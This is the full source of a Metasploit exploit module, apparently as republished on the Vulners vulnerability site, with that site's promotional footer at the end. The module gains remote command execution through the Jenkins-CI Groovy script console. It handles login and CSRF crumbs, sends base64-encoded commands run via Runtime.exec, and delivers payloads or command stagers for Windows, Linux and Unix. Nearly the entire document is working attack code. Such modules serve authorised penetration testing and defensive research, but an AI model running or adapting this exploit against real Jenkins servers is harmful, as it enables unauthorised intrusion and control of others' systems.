##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HTTP::Jenkins
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Jenkins-CI Script-Console Java Execution',
'Description' => %q{
This module uses the Jenkins-CI Groovy script console to execute
OS commands using Java.
},
'Author' => [
'Spencer McIntyre',
'jamcut',
'thesubtlety'
],
'License' => MSF_LICENSE,
'DefaultOptions' => {
'WfsDelay' => '10'
},
'References' => [
['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
],
'Platform' => %w[win linux unix],
'Targets' => [
[
'Windows',
{
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Platform' => 'win',
'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
}
],
['Linux', { 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Platform' => 'linux' }],
['Unix CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'BadChars' => "\x22" } }]
],
'DisclosureDate' => '2013-01-18',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
OptString.new('API_TOKEN', [ false, 'The API token for the specified username', '' ]),
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
]
)
self.needs_cleanup = true
end
def post_auth?
true
end
def check
uri = target_uri
uri.path = normalize_uri(uri.path)
uri.path << '/' if uri.path[-1, 1] != '/'
res = send_request_cgi({ 'uri' => "#{uri.path}login" })
if res && res.headers.include?('X-Jenkins')
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def on_new_session(_client)
if !@to_delete.nil?
print_warning("Deleting #{@to_delete} payload file")
execute_command("rm #{@to_delete}")
end
end
# This method takes a command and options then attempts to make a request and returns a response
#
# @param [String] cmd The cmd used
# @param [String] _opts Request options
# @return [Rex::Proto::Http::Response, nil] res The result of the request
def http_send_request(cmd)
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, 'script'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']),
'vars_post' =>
{
'script' => java_craft_runtime_exec(cmd),
'Submit' => 'Run'
}
}
request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil?
send_request_cgi(request_parameters)
end
# This method takes a command and options then attempts to make a request to send the command
#
# @param [String] cmd The cmd used
# @param [String] _opts Request options
# @return [Rex::Proto::Http::Response] res The response of the request
def http_send_command(cmd, _opts = {})
res = http_send_request(cmd)
fail_with(Failure::Unknown, 'Failed to execute the command.') if res.nil?
# Attempt to login if we haven't previously
if res.code == 401 && !@attempted_login
print_status('Authentication required for Jenkins-CI Groovy script console - Logging in...')
attempt_jenkins_login
res = http_send_request(cmd)
end
fail_with(Failure::Unreachable, "#{peer} - Could not connect to Jenkins - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") if res.code != 200
res
end
def java_craft_runtime_exec(cmd)
vars = Rex::RandomIdentifier::Generator.new(
Rex::RandomIdentifier::Generator::JavaOpts
)
jcode = <<~JCODE
String #{vars[:encoded]} = "#{Rex::Text.encode_base64(cmd)}";
byte[] #{vars[:decoded]};
try {
#{vars[:decoded]} = Base64.getDecoder().decode(#{vars[:encoded]});
} catch(groovy.lang.MissingPropertyException e) {
Object #{vars[:decoder]} = Eval.me("new sun.misc.BASE64Decoder()");
#{vars[:decoded]} = #{vars[:decoder]}.decodeBuffer(#{vars[:encoded]});
}
JCODE
jcode << "String[] #{vars[:cmd_array]} = new String[3];\n"
if target['Platform'] == 'win'
jcode << "#{vars[:cmd_array]}[0] = \"cmd.exe\";\n"
jcode << "#{vars[:cmd_array]}[1] = \"/c\";\n"
else
jcode << "#{vars[:cmd_array]}[0] = \"/bin/sh\";\n"
jcode << "#{vars[:cmd_array]}[1] = \"-c\";\n"
end
jcode << "#{vars[:cmd_array]}[2] = new String(#{vars[:decoded]}, \"UTF-8\");\n"
jcode << "Runtime.getRuntime().exec(#{vars[:cmd_array]});\n"
jcode
end
def execute_command(cmd, _opts = {})
vprint_status("Attempting to execute: #{cmd}")
http_send_command(cmd.to_s)
end
# This method makes calls to multiple methods to handle Jenkins login attempts
def attempt_jenkins_login
@attempted_login = true
login_uri = jenkins_uri_check(@uri, keep_cookies: true)
status, _proof = jenkins_login(datastore['USERNAME'], datastore['PASSWORD'], login_uri)
if status == Metasploit::Model::Login::Status::INCORRECT
fail_with(Msf::Module::Failure::NoAccess, "Incorrect credentials - #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
elsif status == Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
fail_with(Msf::Module::Failure::UnexpectedReply, 'Unexpected reply from server')
end
end
def exploit
@attempted_login = false
@uri = target_uri
@uri.path = normalize_uri(@uri.path)
@uri.path << '/' if @uri.path[-1, 1] != '/'
print_status('Checking access to the script console')
res = send_request_cgi({ 'uri' => "#{@uri.path}script" })
fail_with(Failure::Unknown, 'No Response received') if !res
@crumb = nil
if res.code != 200
if datastore['API_TOKEN'].present?
print_status('Authenticating with token...')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(@uri.path, 'crumbIssuer/api/json'),
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN'])
})
if (res && (res.code == 401))
fail_with(Failure::NoAccess, 'Login failed')
end
else
print_status('Logging in...')
attempt_jenkins_login
res = send_request_cgi({ 'uri' => "#{@uri.path}script" })
if res.code == 403
fail_with(Failure::NoAccess, "#{datastore['USERNAME']} does not have permissions to complete this request")
elsif res.code != 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server')
end
end
else
print_status('No authentication required, skipping login...')
end
if res.body =~ /"\.crumb", "([a-z0-9]*)"/
print_status("Using CSRF token: '#{Regexp.last_match(1)}' (.crumb style)")
@crumb = { name: '.crumb', value: Regexp.last_match(1) }
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ || res.body =~ /"crumb":"([a-z0-9]*)"/
print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style v1)")
@crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) }
elsif res.body =~ /data-crumb-value="([a-z0-9]*)"/
print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style v2)")
@crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) }
end
case target['Platform']
when 'win'
print_status("#{rhost}:#{rport} - Sending command stager...")
execute_cmdstager({ linemax: 2049 })
when 'unix'
print_status("#{rhost}:#{rport} - Sending payload...")
http_send_command(payload.encoded.to_s)
when 'linux'
print_status("#{rhost}:#{rport} - Sending Linux stager...")
execute_cmdstager({ linemax: 2049 })
end
handler
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation